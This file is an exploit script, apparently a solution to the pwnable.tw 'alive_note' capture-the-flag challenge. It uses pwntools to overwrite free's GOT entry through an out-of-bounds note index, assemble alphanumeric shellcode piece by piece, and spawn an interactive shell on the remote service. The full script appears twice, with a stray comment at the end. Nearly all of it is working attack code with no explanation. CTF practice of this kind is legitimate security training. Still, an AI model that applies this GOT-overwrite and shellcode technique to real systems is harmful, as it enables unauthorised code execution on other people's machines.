from pwn import *

context.arch = 'i386'

io = remote('chall.pwnable.tw', 10300)

elf = ELF('./alive_note')

def add_note(index, data, pad = False):
	io.recvuntil('Your choice :')
	io.sendline(str(1))
	io.recvuntil('Index :')
	io.sendline(str(index))
	io.recvuntil('Name :')
	io.sendline(data)

def delete_note(index):
	io.recvuntil('Your choice :')
	io.sendline(str(3))
	io.recvuntil('Index :')
	io.sendline(str(index))

def gen_part_shellcode(index, part):
    add_note(index, part)
    for i in range(3):
        add_note(0, b'')

	
# add note -> overwrite got table of free
# build shellcode chain

free_got_index = (elf.got['free'] - elf.sym['note']) // 4
gen_part_shellcode(free_got_index, b'5QQQQq9')
gen_part_shellcode(0, b'5QAQQq9')
gen_part_shellcode(0, b'PYj0Xq9')
gen_part_shellcode(0, b'4OPZBq9')
gen_part_shellcode(0, b'1QQRXq9')
gen_part_shellcode(0, b'4M1APq9')
gen_part_shellcode(0, b'j0X40Pq8')
gen_part_shellcode(0, b'hnn00Xq8')
gen_part_shellcode(0, b'5AACXPq8')
gen_part_shellcode(0, b'hnRYWXq8')
gen_part_shellcode(0, b'5A009Pq8')
gen_part_shellcode(0, b'TPPPPPq8')
gen_part_shellcode(0, b'PPPPPPq8')
gen_part_shellcode(0, b'PTZ3Z0q8')
gen_part_shellcode(0, b'j0X40Pq8')
gen_part_shellcode(0, b'YPZ4cq9')
gen_part_shellcode(0, b'4hPXPXq8')
for i in range(47):
    gen_part_shellcode(0, b'PXPXPXq8')
gen_part_shellcode(0, b'qN')
delete_note(free_got_index)

io.interactive()

from pwn import *

context.arch = 'i386'

io = remote('chall.pwnable.tw', 10300)

elf = ELF('./alive_note')

def add_note(index, data, pad = False):
	io.recvuntil('Your choice :')
	io.sendline(str(1))
	io.recvuntil('Index :')
	io.sendline(str(index))
	io.recvuntil('Name :')
	io.sendline(data)

def delete_note(index):
	io.recvuntil('Your choice :')
	io.sendline(str(3))
	io.recvuntil('Index :')
	io.sendline(str(index))

def gen_part_shellcode(index, part):
    add_note(index, part)
    for i in range(3):
        add_note(0, b'')

	
# add note -> overwrite got table of free
# build shellcode chain

free_got_index = (elf.got['free'] - elf.sym['note']) // 4
gen_part_shellcode(free_got_index, b'5QQQQq9')
gen_part_shellcode(0, b'5QAQQq9')
gen_part_shellcode(0, b'PYj0Xq9')
gen_part_shellcode(0, b'4OPZBq9')
gen_part_shellcode(0, b'1QQRXq9')
gen_part_shellcode(0, b'4M1APq9')
gen_part_shellcode(0, b'j0X40Pq8')
gen_part_shellcode(0, b'hnn00Xq8')
gen_part_shellcode(0, b'5AACXPq8')
gen_part_shellcode(0, b'hnRYWXq8')
gen_part_shellcode(0, b'5A009Pq8')
gen_part_shellcode(0, b'TPPPPPq8')
gen_part_shellcode(0, b'PPPPPPq8')
gen_part_shellcode(0, b'PTZ3Z0q8')
gen_part_shellcode(0, b'j0X40Pq8')
gen_part_shellcode(0, b'YPZ4cq9')
gen_part_shellcode(0, b'4hPXPXq8')
for i in range(47):
    gen_part_shellcode(0, b'PXPXPXq8')
gen_part_shellcode(0, b'qN')
delete_note(free_got_index)

io.interactive()

# add note -> overwrite got table of free # build shellcode chain